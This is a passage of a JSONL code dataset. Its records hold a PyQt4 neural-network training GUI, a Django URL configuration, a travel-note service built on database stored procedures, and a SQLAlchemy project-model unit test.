%my_list)","sub_path":"basis/145-thread.py","file_name":"145-thread.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"610487965","text":"from PyQt4 import QtGui\n\nfrom PyQt4.QtGui import QMainWindow, QDoubleValidator, QFileDialog, QTreeWidgetItem, QPixmap, QMenu, QAction\nfrom PyQt4.QtCore import SIGNAL\nfrom PyQt4.QtCore import Qt\n\nfrom Utility.NNModelObserver import NNModelObserver\nfrom Utility.NNMeta import NNMeta\nfrom View.MainWindow import Ui_MainWindow\nfrom PyQt4.Qt import QStringListModel\nfrom scipy.ndimage import imread\nfrom Model.NeuralNetwork.Metrics import similarity\n\nclass NNView(QMainWindow, NNModelObserver, metaclass=NNMeta):\n\n def __init__(self, inController, parent=None):\n super(QMainWindow, self).__init__(parent)\n self.mController = inController\n\n #Визуальное представление\n self.ui = Ui_MainWindow()\n self.ui.setupUi(self)\n\n #Добавляем обработчики событий\n self.ui.add_class.clicked.connect(self.add_class)\n self.ui.Learn.clicked.connect(self.learn_clicked)\n self.ui.Hebb.clicked.connect(self.learn_alg)\n self.ui.LMS.clicked.connect(self.learn_alg)\n self.ui.polar.clicked.connect(self.signal_changed)\n self.ui.biPolar.clicked.connect(self.signal_changed)\n self.ui.bipolar_lbl.clicked.connect(self.lbl_type_changed)\n self.ui.binary_lbl.clicked.connect(self.lbl_type_changed)\n self.ui.tabWidget.currentChanged.connect(self.tab_changed)\n self.ui.test_btn.clicked.connect(self.test_clicked)\n self.ui.setBias.clicked.connect(self.set_bias)\n\n self.treeSettings()\n self.ui.img_1.setScaledContents(True)\n self.ui.img_2.setScaledContents(True)\n self.ui.img_3.setScaledContents(True)\n self.current_test_id = 0\n\n self.img1 = None\n self.img2 = None\n\n self.active_class_item = None\n self.connect(self.ui.data_tree, SIGNAL(\"itemClicked(QTreeWidgetItem*, int)\"), self.onClickItem)\n self.connect(self.ui.activation, SIGNAL(\"activated(const QString&)\"), self.activation_changed)\n\n validator = QtGui.QDoubleValidator()\n self.ui.bias.setValidator(validator)\n\n self.mController.modelIsChanged(self.ui.tabWidget.currentWidget().objectName())\n act_functions = ['Бинарный порог', 'Биполярный порог', 'Радиально-симметричная']\n self.ui.activation.addItems(act_functions)\n self.params = {\n 'Signal' :'',\n 'Learn' :'',\n 'Label' :'',\n 'Neurons':'',\n 'Activation':'',\n 'Bias': '',\n 'Function param': '',\n }\n\n def set_params(self):\n self.signal_changed()\n self.learn_alg()\n self.lbl_type_changed()\n self.params['Neurons'] = self.ui.number_neurons.value()\n self.params['Activation'] = self.ui.activation.currentText()\n bias = self.ui.bias.text()\n if bias=='':\n bias = 0\n self.params['Bias'] = bias\n k = self.ui.function_param.text()\n if k=='':\n k = 0.5\n self.params['Function param'] = k\n\n def set_bias(self):\n self.set_params()\n self.mController.set_bias(self.params)\n\n def add_class(self):\n count = self.ui.data_tree.topLevelItemCount()\n item = QTreeWidgetItem(['Класс '+str(count)])\n self.ui.data_tree.addTopLevelItem(item)\n\n def tab_changed(self):\n self.mController.modelIsChanged(self.ui.tabWidget.currentWidget().objectName())\n\n def activation_changed(self):\n self.set_params()\n self.mController.activation_changed(self.params)\n\n def test_clicked(self):\n self.ui.info.clear()\n self.set_params()\n outputs = self.mController.test(self.current_test_id, self.params)\n text = self.ui.info.text()\n self.ui.info.setText(text + '\\n' + 'Выходы нейронов: ' + '\\n')\n for i in outputs:\n self.ui.info.setText(self.ui.info.text() + str(i) + '\\n')\n\n def signal_changed(self):\n btn = self.sender()\n #self.mController.signal_type_changed(btn.objectName())\n if self.ui.tabWidget.currentWidget().objectName()=='SLP':\n if self.ui.polar.isChecked():\n self.params['Signal'] = 'binary'\n elif self.ui.biPolar.isChecked():\n self.params['Signal'] = 'bi_polar'\n self.mController.signal_type_changed(self.params)\n\n def lbl_type_changed(self):\n btn = self.sender()\n if self.ui.tabWidget.currentWidget().objectName() == 'SLP':\n if self.ui.bipolar_lbl.isChecked():\n self.params['Label'] = 'bi_polar'\n elif self.ui.binary_lbl.isChecked():\n self.params['Label'] = 'binary'\n self.mController.label_type_changed(self.params)\n\n def learn_alg(self):\n if self.ui.tabWidget.currentWidget().objectName()=='SLP':\n if self.ui.Hebb.isChecked():\n self.params['Learn'] = 'Hebb'\n elif self.ui.LMS.isChecked():\n self.params['Learn'] = 'LMS'\n\n def learn_clicked(self):\n self.ui.info.clear()\n self.set_params()\n iter = self.mController.learn(self.params)\n text = 'Количество итераций: ' + str(iter)\n self.ui.info.setText(text)\n\n def treeSettings(self):\n self.ui.data_tree.setContextMenuPolicy(Qt.CustomContextMenu)\n self.ui.data_tree.customContextMenuRequested.connect(self.on_context_menu)\n self.popMenu = QMenu(self)\n self.popMenu.addAction(QtGui.QAction('Загрузить данные', self))\n self.popMenu.addAction(QtGui.QAction('Очистить', self))\n self.popMenu.triggered[QAction].connect(self.processtrigger)\n item = QTreeWidgetItem(['Тест'])\n self.ui.data_tree.addTopLevelItem(item)\n\n def processtrigger(self,q):\n self.set_params()\n if q.text()=='Загрузить данные':\n dlg = QFileDialog()\n dlg.setFileMode(QFileDialog.AnyFile)\n dlg.setFileMode(QFileDialog.ExistingFiles)\n filenames = QStringListModel()\n if dlg.exec_():\n filenames = dlg.selectedFiles()\n if self.active_class_item is not None:\n for f in filenames:\n self.active_class_item.addChild(QTreeWidgetItem([str(f)]))\n img = imread(f, mode='P')\n lbl = self.active_class_item.text(0)[-1] #считаем, что не будет двузначных меток\n if self.active_class_item.text(0) == 'Тест':\n self.mController.add_test(img,self.params)\n else:\n self.mController.add_data(img,lbl,self.params)\n elif q.text()=='Очистить':\n count = self.active_class_item.childCount()\n for _ in range(count):\n self.active_class_item.removeChild(self.active_class_item.child(0))\n if self.active_class_item.text(0)=='Тест':\n self.mController.delete_test()\n else:\n lbl = self.active_class_item.text(0)[-1]\n self.mController.delete_data(lbl)\n self.active_class_item = None\n\n def on_context_menu(self, point):\n # show context menu\n index = self.ui.data_tree.indexAt(point)\n if not index.isValid():\n return\n item = self.ui.data_tree.itemAt(point)\n self.active_class_item = item\n self.popMenu.exec_(self.ui.data_tree.mapToGlobal(point))\n\n def modelIsChanged(self):\n pass\n\n def onClickItem(self, item, column):\n try:\n parent = 'Класс '\n parent_name = item.parent().text(0)\n i = 1\n if parent_name=='Тест':\n for j in range(item.parent().childCount()):\n if item.parent().child(j) == item:\n self.current_test_id = j\n break\n path = item.text(column)\n self.ui.img_3.setPixmap(QPixmap(path))\n img = imread(path)\n self.current_test = img\n self.set_sim()\n else:\n parent_ = parent + str(i)\n while parent_name!=parent_:\n parent_ = parent + str(i)\n i+=1\n path = item.text(column)\n\n if parent_=='Класс 1':\n self.ui.img_1.setPixmap(QPixmap(path))\n self.img1 = imread(path)\n self.set_sim()\n else:\n self.ui.img_2.setPixmap(QPixmap(path))\n self.img2 = imread(path)\n self.set_sim()\n except:\n pass\n\n def set_sim(self):\n s1 = similarity(self.current_test, self.img1)\n s2 = similarity(self.current_test, self.img2)\n self.ui.learn_info.clear()\n text = 'Класс 1: ' + str(s1) + '\\n' + 'Класс 2: ' + str(s2)\n self.ui.learn_info.setText(text)","sub_path":"View/NNView.py","file_name":"NNView.py","file_ext":"py","file_size_in_byte":9095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"623879736","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^guestpage/$', views.guestpage, name='guestpage'),\n url(r'^login/$', views.login_view, name='login'),\n url(r'^signup/$', views.signup_view, name='signup'),\n url(r'^logout/$', views.logout_view, name='logout'),\n url(r'^new_forum/$', views.new_forum, name='new_forum'),\n url(\n r'^profile_settings/$',\n views.profile_settings, name='profile_settings')\n]\n","sub_path":"mainapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"579570842","text":"#-*- coding:utf-8 -*-\n#date:2013-09-08\n\nimport uuid\nimport utils\nimport traceback\n\nfrom datetime import datetime\nfrom config import *\nfrom service import * \n\ndef upload_note(user_id, notes):\n\tconn = _get_connect()\n\tif len(notes) == 1:\n\t\tnote = notes[0]\n\t\tif not utils.check_key(('travel_id', 'create_time'), note.keys()) or \\\n\t\t\t\tnote.get('content') is None and note.get('image_file') is None:\n\t\t\treturn {rsp_code : RC['data_incomplete']}\n\t\treturn _new_note(conn, user_id, note)\n\n\tresult = {rsp_code : RC['sucess']} \n\trsps = []\t#response for every note\n\trsp = None\t#response for one note \n\ttry:\n\t\tfor note in notes:\n\t\t\ttry:\n\t\t\t\trsp = {'tag' : note['tag']} \n\t\t\t\t#check required key\n\t\t\t\tif not utils.check_key(('travel_id', 'create_time'), note.keys()) or \\\n\t\t\t\t\t\tnote.get('content') is None and note.get('image_file') is None:\n\t\t\t\t\trsp[rsp_code] = RC['data_incomplete']\n\t\t\t\t\trsps.append(rsp)\n\t\t\t\t\tcontinue\n\n\t\t\t\t#insert into db\n\t\t\t\trsp = dict(rsp, **_new_note(conn, user_id, note))\n\t\t\t\trsps.append(rsp)\n\t\t\t\tconn.commit()\n\t\t\texcept KeyError:\n\t\t\t\t#'tag'不存在\n\t\t\t\tcontinue\n\t\tresult['rsps'] = rsps\n\t\treturn result\n\texcept Exception:\n\t\tprint('============caught exception===========')\n\t\tprint(traceback.format_exc())\n\t\treturn {rsp_code : RC['server_error']}\n\tfinally:\n\t\tconn.close()\n\ndef sync_note(user_id, begin_time, max_qty):\n\tif begin_time is None:\n\t\tbegin_time = datetime.min\n\n\tif max_qty is None:\n\t\timport sys\n\t\tmax_qty = sys.maxint\n\n\tconn = _get_connect()\n\tcur = conn.cursor()\n\ttry:\n\t\tcur.callproc('sp_sync_note', (\n\t\t\t\tuser_id,\n\t\t\t\tbegin_time,\n\t\t\t\tmax_qty\n\t\t\t\t)\n\t\t\t)\n\t\tresult = {rsp_code : RC['sucess']}\n\t\tresult['notes'] = []\n\t\tfor note in cur.stored_results().next().fetchall():\t\n\t\t\tresult['notes'].append(_note_to_map(note))\n\n\t\treturn result\n\texcept:\n\t\tprint('============caught exception===========')\n\t\tprint(traceback.format_exc())\n\t\treturn {rsp_code : RC['server_error']}\n\tfinally:\n\t\tcur.close()\n\t\tconn.close()\n\ndef get_note(travel_id, user_id):\n\tconn = _get_connect()\n\tcur = conn.cursor()\n\n\ttry:\n\t\tcode = cur.callproc('sp_get_note', (travel_id, user_id, 0))[2]\n\t\tif code == -1:\n\t\t\treturn {rsp_code : RC['no_such_travel']}\n\t\tif code == -2:\n\t\t\treturn {rsp_code : RC['permission_denied']}\n\t\t\n\t\tresult = {rsp_code : RC['sucess']}\n\t\tresult['notes'] = []\n\t\tfor note in cur.stored_results().next().fetchall():\t\n\t\t\tresult['notes'].append(_note_to_map(note))\n\n\t\treturn result\n\texcept:\n\t\tprint('============caught exception===========')\n\t\tprint(traceback.format_exc())\n\t\treturn {rsp_code : RC['server_error']}\n\tfinally:\n\t\tcur.close()\n\t\tconn.close()\n\ndef _note_to_map(n):\n\tnote = {}\n\tnote['note_id']\t\t= n[0]\n\tnote['user_id']\t\t= n[1]\n\tnote['travel_id']\t= n[2]\n\tnote['create_time'] = str(n[3])\n\tnote['content']\t\t= n[4]\n\tnote['comment_qty']\t= n[5]\n\tnote['vote_qty']\t= n[6]\n\tif n[7] is None:\n\t\tnote['has_image'] = 0\n\telse:\n\t\tnote['has_image'] = 1\n\treturn note\n\ndef _new_note(conn, user_id, note):\n\tcur = conn.cursor()\n\ttry:\n\t\timage_path = None\n\t\tif note.get('image_file') is not None:\n\t\t\timage_path = _build_image_path()\n\t\t\tutils.save_image(IMAGE_ROOT + image_path, note['image_file'])\n\n\t\tnote_id = cur.callproc('sp_new_note' ,(\n\t\t\t\tuser_id,\n\t\t\t\tnote['travel_id'],\n\t\t\t\tnote.get('content'),\n\t\t\t\tutils.strpdatetime(note['create_time']),\n\t\t\t\timage_path,\n\t\t\t\t0\t#note_id\n\t\t\t\t)\n\t\t\t)[5]\n\t\tresult = None\n\t\tif note_id > 0:\n\t\t\tresult = {rsp_code : RC['sucess']}\n\t\t\tresult['note_id'] = note_id\n\t\t\tconn.commit()\n\t\telse:\n\t\t\tresult = {rsp_code : {\n\t\t\t\t\t\t-1 : RC['no_travel'],\n\t\t\t\t\t\t-2 : RC['permission_denied'],\n\t\t\t\t\t\t-3 : RC['dup_data']\n\t\t\t\t\t\t}[note_id]\n\t\t\t\t\t}\n\n\t\treturn result\n\texcept ValueError:\n\t\t#date format error\n\t\treturn {rsp_code : RC['illegal_data']}\n\tfinally:\n\t\tcur.close()\n\ndef _build_image_path():\n\treturn uuid.uuid4().hex[0:16]\n\n","sub_path":"Travo-Server/travo/service/NoteService.py","file_name":"NoteService.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"142047367","text":"import os\nimport tempfile\nfrom unittest import TestCase\nfrom unittest.mock import patch\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom ypd.model import Base, decorator, project\nfrom ypd.model.user import User\n\n\nclass TestProject(TestCase):\n \n @classmethod\n def setUpClass(self):\n self.engine = create_engine('sqlite:///')\n Base.metadata.create_all(self.engine)\n self.Session = sessionmaker(bind=self.engine, expire_on_commit=False)\n decorator.Session = self.Session\n\n def setUp(self):\n self.session = self.Session(bind=self.engine)\n\n def tearDown(self):\n self.session.query(project.Provided).delete()\n self.session.commit()\n self.session.close()\n\n def test_project_post(self):\n p = project.Provided()\n p.post('foo', 'bar', User(id=1))\n\n results = self.session.query(project.Provided).all()\n self.assertEqual(len(results), 1)\n\n self.assertEqual(results[0].id, p.id)\n self.assertEqual(results[0].title, 'foo')\n self.assertEqual(results[0].description, 'bar')\n self.assertEqual(results[0].date, p.date)\n self.assertEqual(results[0].archived, False)\n self.assertEqual(results[0].needsReview, False)\n \n def test_selected_project_lookup(self): # tests to see that get method works\n s = project.Provided()\n s.post('cookie', 'biscuit', User(id=1))\n \n s = project.Provided.get(1)\n self.assertIsNotNone(s)\n self.assertTrue(s.title == 'cookie' and s.description == 'biscuit')\n","sub_path":"tests/ypd/model/test_project.py","file_name":"test_project.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"}